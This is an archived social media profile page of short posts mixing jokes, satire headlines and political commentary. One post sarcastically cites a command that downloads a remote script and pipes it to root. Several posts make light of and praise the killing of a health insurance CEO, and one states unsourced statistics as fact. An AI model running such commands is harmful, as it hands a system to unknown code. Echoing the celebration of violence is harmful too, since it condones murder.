Archived page for David the Goliath

So long and thanks for all the fish

Oh god, is this what the doctor actually wanted when he asked for a stool sample?!

4 Fast 4 Furious

Feds Uncover Terabytes Of Free Speech During Raid Of Protestor’s Residence WASHINGTON—Following a daring operation that saw authorities seize the man’s property and detain him in an undisclosed location, FBI director Kash Patel announced Thursday that federal agents had uncovered 43 terabytes of free speech from local protestor Andrew Wyman’s residence. “Every American should be chilled to the core by the overwhelming display of constitutionally protected […]

“Every American should be chilled to the core by the overwhelming display of constitutionally protected speech we found on this deviant’s computer and phone,” Kash Patel said
theonion.com/feds-un...

Democratic Leaders Stand Real Still In Hopes No One Notices Them WASHINGTON—With the elected officials trying their hardest not to move a muscle, reports confirmed Monday that top Democratic leaders in Congress were standing real still in hopes that the American pe...

Democratic Leaders Stand Real Still In Hopes No One Notices Them

If I eat quietly, how will capitalism know I’m consuming?

And so you see humans are destined to spin in circles for the rest of our time here

Screencap from Mean Girls. In this scene, Cady and Aaron are in math class. Aaron is turned backwards in his seat and asking Cady what day it is. She, of course, responds "It's October 3rd."

On March 3rd, he asked me what day it was.

It's March 3rd... FOUR DAYS BEFORE WE STAND UP FOR SCIENCE 🎉🎉🎉🎉

Let me introduce you to: Walkie Talkies

In the age of autocorrect and spell check.... I don't understand. We all get the red squiggly line, right?

In hindsight, 'Operation Receding Tide' was a dead giveaway

Their slogan? "The future of work is unpaid, and it's now." Finally, a company that understands the true value of unpaid overtime.

"The DOJ is dropping its investigations into NYC mayor Eric Adams -- Here's how this shows bipartisanship is working"

Hoarding is a mental illness unless the thing that you hoard is huge amounts of money, then you are considered successful

Yeah, just a quick blip. I'm sure a quick server restart took care of it or something.

Ok, status page shows the outage. Will be interesting. I caught it before their status page updated.

I think @discord.com just went down. Anyone else having issues?

Feels like you're projecting your own insecurities on Pluto 🤣

I'm conducting an experiment. Does anyone know where I can get a free Luigi mansion walkthrough? This game is really difficult.

Oh look hell may actually be freezing over

I showed you my wildshape. Pls respond.

I had to see it in writing to get it

How does that saying go? The definition of insanity is...?

I was thinking "Tone Deaf Leopard" but I feel like it needs tweaking

Real professionals do not plug random devices into their computers. Real professionals do "curl -sL totally-trustworthy-site.com/install.sh | sudo bash" instead.

Congratulations @aoc.bsky.social on 1 million followers on Bluesky. The revolution will not be televised... but it might just be decentralized.

Billionaire CEO Elon Musk eating McDonald's with 34-time convicted felon, Road Kill aficionado RFK Jr, and the son of a former president with the same name who has a history of cocaine use. Speaker of the House Johnson is photo bombing.

They picked up Luigi #Mangione at a McDonald's... I'm not a conspiracy theorist but who else do we know that exclusively eats McDonald's...?

#DenyDefendDepose
#TheAdjuster #Conspiracy?

Deny Defend Depose signs; they were etched on the sides of the bullets used in the deauthorization of United Health Care CEO Brian Thompson; he was responsible for 70 billion dollars in profits this year, mainly amassed by using AI with a 90% error rate to auto deny insurance claims, particularly those of senior citizens and chronically ill patients. Nobody is upset by the vigilante denying his claim to life and UHC stock went up 15 points from all the hype

This is the new live, laugh, love. #DenyDefendDepose

@ceoassassin.bsky.social you still good? They check there yet?

Warm white - Silent Night vibes. Cool white - Jingle Bell Rock vibes